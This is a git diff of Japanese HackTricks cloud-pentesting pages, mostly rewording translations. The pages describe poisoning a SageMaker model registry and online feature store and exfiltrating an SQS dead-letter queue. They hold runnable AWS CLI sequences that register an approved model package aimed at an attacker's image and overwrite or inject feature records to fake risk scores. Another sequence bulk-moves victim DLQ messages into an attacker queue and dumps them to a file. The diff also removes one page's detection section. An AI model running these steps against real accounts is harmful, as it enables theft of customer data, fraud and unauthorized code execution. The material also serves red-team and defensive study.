+ターゲットの SageMaker Model Package Group に対して CreateModelPackage を実行できる攻撃者は、攻撃者が制御するコンテナイメージを指す新しいモデルバージョンを登録し、それを即座に Approved にマークできます。多くの CI/CD パイプラインは Approved のモデルバージョンを自動的にエンドポイントやトレーニングジョブにデプロイするため、サービスの実行ロールで攻撃者のコードが実行される結果を招きます。許容的な ModelPackageGroup リソースポリシーがあると、クロスアカウントの露出が拡大する可能性があります。
### 要件
-- IAM(既存グループを汚染するための最小権限): 対象の ModelPackageGroup に対する `sagemaker:CreateModelPackage`
+- IAM(既存のグループを汚染するための最小権限): ターゲットの ModelPackageGroup に対する `sagemaker:CreateModelPackage`
- オプション(グループが存在しない場合に作成するため): `sagemaker:CreateModelPackageGroup`
-- S3: 参照される ModelDataUrl への読み取りアクセス(または攻撃者管理のアーティファクトをホスト)
-- 対象: 下流の自動化が Approved バージョンを監視している Model Package Group
+- S3: 参照される ModelDataUrl への読み取りアクセス(または攻撃者がホストするアーティファクト)
+- ターゲット: 下流の自動化が Approved バージョンを監視している Model Package Group
### 手順
-1) リージョンを設定し、対象の Model Package Group を作成/検索する
+1) リージョンを設定し、ターゲットとなる Model Package Group を作成または検索する
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
-2) S3にダミーのモデルデータを準備する
+2) S3にダミーモデルデータを準備する
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -144,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
-3) パブリックな AWS DLC イメージを参照する悪意のある(ここでは無害な)Approved model package version を登録する
+3) 公開されている AWS DLC イメージを参照する、悪意のある(ここでは無害な)承認済みモデルパッケージバージョンを登録する
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -166,13 +167,14 @@ aws sagemaker create-model-package --region $REGION --model-package-group-name
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### 影響
-- Model Registry を、攻撃者管理下のコードを参照する Approved バージョンで汚染します。Approved モデルを自動デプロイするパイプラインは攻撃者のイメージを pull して実行する可能性があり、endpoint/training ロールの権限でコード実行が発生します。
-- 寛容な ModelPackageGroup リソースポリシー(PutModelPackageGroupPolicy)がある場合、この悪用はクロスアカウントで誘発され得ます。
+- Poison the Model Registry を攻撃者管理下のコードを参照する Approved バージョンで行う。Pipelines が Approved モデルを自動デプロイする場合、攻撃者のイメージを pull して実行し、endpoint/training roles の権限でコード実行を引き起こす可能性がある。
+- 許容的な ModelPackageGroup resource policy (PutModelPackageGroupPolicy) を持つ場合、この悪用はクロスアカウントでトリガーされ得る。
## Feature store poisoning
-OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、online inference が消費するライブの feature 値を上書きします。`sagemaker:GetRecord` と組み合わせると、攻撃者は機密性の高い feature を読み取ることができます。これはモデルやエンドポイントへのアクセスを必要としません。
+OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブのフィーチャー値を上書きする。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密フィーチャーを読み取ることができる。これは models や endpoints へのアクセスを必要としない。
{{#ref}}
feature-store-poisoning.md
{{/ref}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
index 92b8e6510..3e6f3a014 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -1,17 +1,19 @@
# SageMaker Feature Store online store poisoning
-OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブの特徴量値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取り、機密な ML データを exfiltrate できます。これはモデルやエンドポイントへのアクセスを必要としないため、直接的なデータ層攻撃になります。
+{{#include ../../../../banners/hacktricks-training.md}}
+
+`OnlineStore` が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で利用されるライブの特徴量値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取ることができます。これにはモデルやエンドポイントへのアクセスは不要です。
## Requirements
- 権限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
-- 対象: OnlineStore が有効な Feature Group(通常はリアルタイム推論を支えるもの)
-- 複雑さ: **LOW** - 簡単な AWS CLI コマンド、モデル操作は不要
+- 対象: OnlineStore が有効な Feature Group(通常はリアルタイム推論を支える)
+- 複雑さ: **LOW** - 単純な AWS CLI コマンド、モデルの操作は不要
## Steps
### Reconnaissance
-1) OnlineStore が有効な Feature Groups を一覧表示する
+1) OnlineStore が有効な Feature Group を列挙する
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
@@ -19,16 +21,16 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
-2) 対象の Feature Group を説明して、そのスキーマを理解する
+2) ターゲットの Feature Group を記述して、そのスキーマを把握する
```bash
FG=
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
-`RecordIdentifierFeatureName`、`EventTimeFeatureName`、およびすべてのフィーチャ定義に注意してください。これらは有効なレコードを作成するために必要です。
+`RecordIdentifierFeatureName`、`EventTimeFeatureName`、およびすべての特徴量定義に注意してください。これらは有効なレコードを作成するために必要です。
-### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
+### 攻撃シナリオ 1: Data Poisoning (Overwrite Existing Records)
1) 現在の正当なレコードを読み取る
```bash
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
-3) 汚染されたデータを検証する
+3) poisoned dataを検証する
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
-**影響**: ML models consuming this feature will now see `risk_score=0.99` for a legitimate user, potentially blocking their transactions or services。
+**Impact**: MLモデルがこの特徴量を利用すると、正当なユーザーに対して`risk_score=0.99`が表示され、取引やサービスがブロックされる可能性があります。
-### 攻撃シナリオ2: Malicious Data Injection (Create Fraudulent Records)
+### 攻撃シナリオ 2: Malicious Data Injection (Create Fraudulent Records)
-操作されたフィーチャーを持つ完全に新しいレコードを注入して、セキュリティ制御を回避する:
+セキュリティコントロールを回避するために、改ざんされた特徴量を持つ完全に新しいレコードを注入する:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
-インジェクションを検証する:
+injectionを検証する:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
-**Impact**: 攻撃者は低リスクスコア (0.01) の偽のアイデンティティを作成し、詐欺検知を発動させることなく高額な不正取引を実行できる。
+**Impact**: 攻撃者はリスクスコアが低い(0.01)の偽の身元を作成し、不正検知を発動させることなく高額な不正取引を行える。
### Attack Scenario 3: 機密データの持ち出し
-複数のレコードを読み取り、機密の特徴量を抽出してモデルの挙動をプロファイリングする:
+複数のレコードを読み出して機密な特徴量を抽出し、モデルの挙動をプロファイリングする:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
-**影響**: 機密の特徴量(リスクスコア、取引パターン、個人データ)が攻撃者にさらされる。
+**影響**: 機密な特徴量(リスクスコア、取引パターン、個人データ)が攻撃者に露出する。
-### テスト/デモ Feature Group Creation (Optional)
+### テスト/デモ Feature Group の作成(任意)
-If you need to create a test Feature Group:
+テスト用の Feature Group を作成する必要がある場合:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
-## Detection
-
-Monitor CloudTrail for suspicious patterns:
-- 異常な IAM プリンシパルや IP アドレスからの `PutRecord` イベント
-- 高頻度の `PutRecord` や `GetRecord` 呼び出し
-- 異常な特徴量値を伴う `PutRecord`(例: risk_score が通常の範囲外)
-- 大量の `GetRecord` 操作(大規模なデータ持ち出しを示唆)
-- 通常の業務時間外や予期しない場所からのアクセス
-
-Implement anomaly detection:
-- 特徴量値の検証(例: risk_score は 0.0-1.0)
-- 書き込みパターンの解析(頻度、タイミング、ソースの識別)
-- データドリフト検出(特徴量分布の急激な変化)
-
-## References
-- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
-- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
+## 参考資料
+- [AWS SageMaker Feature Store ドキュメント](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
+- [Feature Store セキュリティ ベストプラクティス](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
index cbf28c0b7..76f511765 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -1,51 +1,53 @@
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+{{#include ../../../banners/hacktricks-training.md}}
+
## Description
-SQS の message move task を悪用して、被害者の Dead-Letter Queue (DLQ) に蓄積されたすべてのメッセージを `sqs:StartMessageMoveTask` を使って攻撃者が管理するキューにリダイレクトし、窃取します。この手法は AWS の正当な message recovery 機能を悪用し、DLQ に長期間蓄積された機密データを流出させるものです。
+SQS の message move task を悪用して、`sqs:StartMessageMoveTask` を使い、被害者の Dead-Letter Queue (DLQ) に蓄積された全てのメッセージを攻撃者管理のキューへリダイレクトして盗み出します。この手法は、AWS の正当なメッセージ回復機能を悪用して、時間とともに DLQ に蓄積された機微なデータを外部へ流出させるものです。
## What is a Dead-Letter Queue (DLQ)?
-Dead-Letter Queue は、メインのアプリケーションで正常に処理できなかったメッセージが自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
-- 処理できなかった機密なアプリケーションデータ
-- エラーの詳細やデバッグ情報
-- Personal Identifiable Information (PII)
-- API tokens、認証情報、その他のシークレット
-- 事業上重要なトランザクションデータ
+Dead-Letter Queue は、メインアプリケーションで正常に処理できなかったメッセージが自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
+- 処理できなかった機密アプリケーションデータ
+- エラー詳細やデバッグ情報
+- 個人識別情報 (PII)
+- API トークンや資格情報、その他のシークレット
+- 業務上重要なトランザクションデータ
-DLQ は失敗メッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、価値の高いターゲットとなります。
+DLQ は失敗メッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、貴重なターゲットになります。
## Attack Scenario
**Real-world example:**
-1. **E-commerce application** が SQS を介して顧客注文を処理する
-2. **Some orders fail**(支払いの問題、在庫の問題など)で DLQ に移される
-3. **DLQ accumulates** 何週間・何ヶ月分もの失敗した注文が顧客データとともに蓄積される: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
-4. **Attacker gains access** 攻撃者が SQS 権限を持つ AWS 資格情報を入手する
-5. **Attacker discovers** DLQ に何千件もの機密データを含む失敗注文があることを発見する
-6. **Instead of trying to access individual messages**(個別メッセージにアクセスするのは遅く目立つため)、攻撃者は `StartMessageMoveTask` を使ってすべてのメッセージを自分のキューに一括転送する
-7. **Attacker extracts** 一度の操作で過去のすべての機密データを抽出する
+1. **E-commerce application** が SQS 経由で顧客注文を処理する
+2. **いくつかの注文が失敗**(支払い問題、在庫問題など)し、DLQ に移される
+3. **DLQ に数週間/数ヶ月分の失敗注文が蓄積**され、顧客データを含む: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **攻撃者が SQS 権限を持つ AWS 資格情報を入手**する
+5. **攻撃者が DLQ に数千件の機密データがあることを発見**する
+6. **個々のメッセージへアクセスしようとする代わりに**(遅く目立つため)攻撃者は `StartMessageMoveTask` を使って全メッセージを自分のキューへ一括転送する
+7. **攻撃者は一度の操作で過去の全ての機密データを抽出**する
## Requirements
-- ソースキューは DLQ として設定されている必要があります(少なくとも1つのキューの RedrivePolicy に参照されていること)。
+- ソースキューは DLQ として設定されている必要がある(少なくとも1つのキューの RedrivePolicy で参照されていること)。
- IAM 権限(侵害された被害者プリンシパルとして実行):
-- ソース(DLQ)に対して: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`。
-- 宛先キュー: メッセージ配信の権限(例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー)。同一アカウント内の宛先では通常デフォルトで許可されていることが多い。
-- SSE-KMS が有効な場合: ソース CMK に対して `kms:Decrypt`、宛先 CMK に対して `kms:GenerateDataKey`, `kms:Encrypt`。
+- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- On destination queue: メッセージ配信の権限(例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー)。同一アカウントの宛先では通常デフォルトで許可されていることが多い。
+- SSE-KMS が有効な場合: ソース CMK に対する `kms:Decrypt`、および宛先 CMK に対する `kms:GenerateDataKey`, `kms:Encrypt`。
## Impact
-ネイティブな SQS API を使用して、DLQ に蓄積された機密ペイロード(失敗イベント、PII、トークン、アプリケーションペイロード)を高速に流出させます。宛先キューのポリシーが被害者プリンシパルからの `SendMessage` を許可していれば、クロスアカウントでも機能します。
+ネイティブな SQS API を使って DLQ に蓄積された機密ペイロード(失敗イベント、PII、トークン、アプリケーションペイロード)を高速に流出させます。宛先キューポリシーが被害者プリンシパルからの `SendMessage` を許可していれば、クロスアカウントでも機能します。
## How to Abuse
-- 被害者の DLQ ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する。
+- 被害者 DLQ の ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する。
- 攻撃者が管理する宛先キューを作成または選択し、その ARN を取得する。
-- 被害者 DLQ から自分の宛先キューへ message move task を開始する。
-- 進行状況を監視するか、必要に応じてキャンセルする。
+- 被害者 DLQ から宛先キューへメッセージ移動タスクを開始する。
+- 進捗を監視するか、必要に応じてキャンセルする。
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
-**Scenario**: 攻撃者が AWS 資格情報を侵害し、ある e-commerce アプリケーションが失敗した顧客注文処理を含む DLQ を使用していることを発見した。
+**Scenario**: 攻撃者が AWS 資格情報を侵害し、e-commerce アプリケーションが失敗した顧客注文処理を含む DLQ を使用していることを発見した。
1) **Discover and examine the victim DLQ**
```bash
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
-2) **攻撃者が制御する宛先キューを作成する**
+2) **attacker-controlled destination queue を作成する**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
-3) **一括メッセージの窃取を実行する**
+3) **Execute the bulk message theft**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
-4) **盗まれた機密データを収集する**
+4) **盗まれた機密データを回収する**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -113,21 +115,21 @@ echo "Received batch of stolen data..."
echo "$MESSAGES" >> stolen_customer_data.json
done
```
-### クロスアカウントの注意点
-- 宛先キューには、被害者プリンシパルが `sqs:SendMessage` を実行できるようにするリソースポリシーが必要です(および、使用する場合は KMS のグラント/権限)。
+### クロスアカウントの注意事項
+- 宛先キューには被害者プリンシパルに `sqs:SendMessage` を許可するリソースポリシーが必要です(使用する場合は KMS の付与/権限も)。
-## なぜこの攻撃が効果的か
+## この攻撃が効果的な理由
-1. **Legitimate AWS Feature**: 組み込みの AWS 機能を使用するため、悪意ある動作として検知されにくい
-2. **Bulk Operation**: 個別に遅くアクセスする代わりに、数千件のメッセージを素早く転送できる
-3. **Historical Data**: DLQs は数週間〜数か月にわたり機密データを蓄積する
-4. **Under the Radar**: 多くの組織は DLQ へのアクセスを綿密に監視していない
-5. **Cross-Account Capable**: 権限があれば攻撃者自身の AWS アカウントへ exfiltrate できる
+1. **正当な AWS 機能**: 組み込みの AWS 機能を使用するため、悪意ある活動として検出されにくい
+2. **一括操作**: 個別に遅くアクセスする代わりに、数千件のメッセージを迅速に転送できる
+3. **履歴データ**: DLQ は数週間〜数ヶ月にわたって機密データが蓄積される
+4. **見過ごされがち**: 多くの組織は DLQ へのアクセスを厳密に監視していない
+5. **クロスアカウント対応**: 許可があれば攻撃者自身の AWS アカウントへ exfiltrate できる
## 検出と防止
### 検出
-疑わしい `StartMessageMoveTask` API 呼び出しを CloudTrail で監視する:
+CloudTrail を監視して、疑わしい `StartMessageMoveTask` API 呼び出しを検出する:
```json
{
"eventName": "StartMessageMoveTask",
@@ -142,9 +144,11 @@ done
}
}
```
-### 対策
+### 予防策
1. **最小権限**: 必要なロールにのみ `sqs:StartMessageMoveTask` 権限を制限する
-2. **DLQsの監視**: 異常なDLQアクティビティに対して CloudWatch アラームを設定する
-3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可する SQS キューポリシーを注意深くレビューする
-4. **DLQsの暗号化**: 制限されたキー ポリシーを持つ SSE-KMS を使用する
-5. **定期的なクリーンアップ**: 機密データが DLQs に無期限に蓄積されないようにする
+2. **DLQs の監視**: 異常な DLQ アクティビティに対して CloudWatch アラームを設定する
+3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可する SQS キューのポリシーを注意深く確認する
+4. **DLQs の暗号化**: 制限されたキー ポリシーを用いた SSE-KMS を使用する
+5. **定期的なクリーンアップ**: 機密データが DLQs に無期限に蓄積しないようにする
+
+{{#include ../../../banners/hacktricks-training.md}}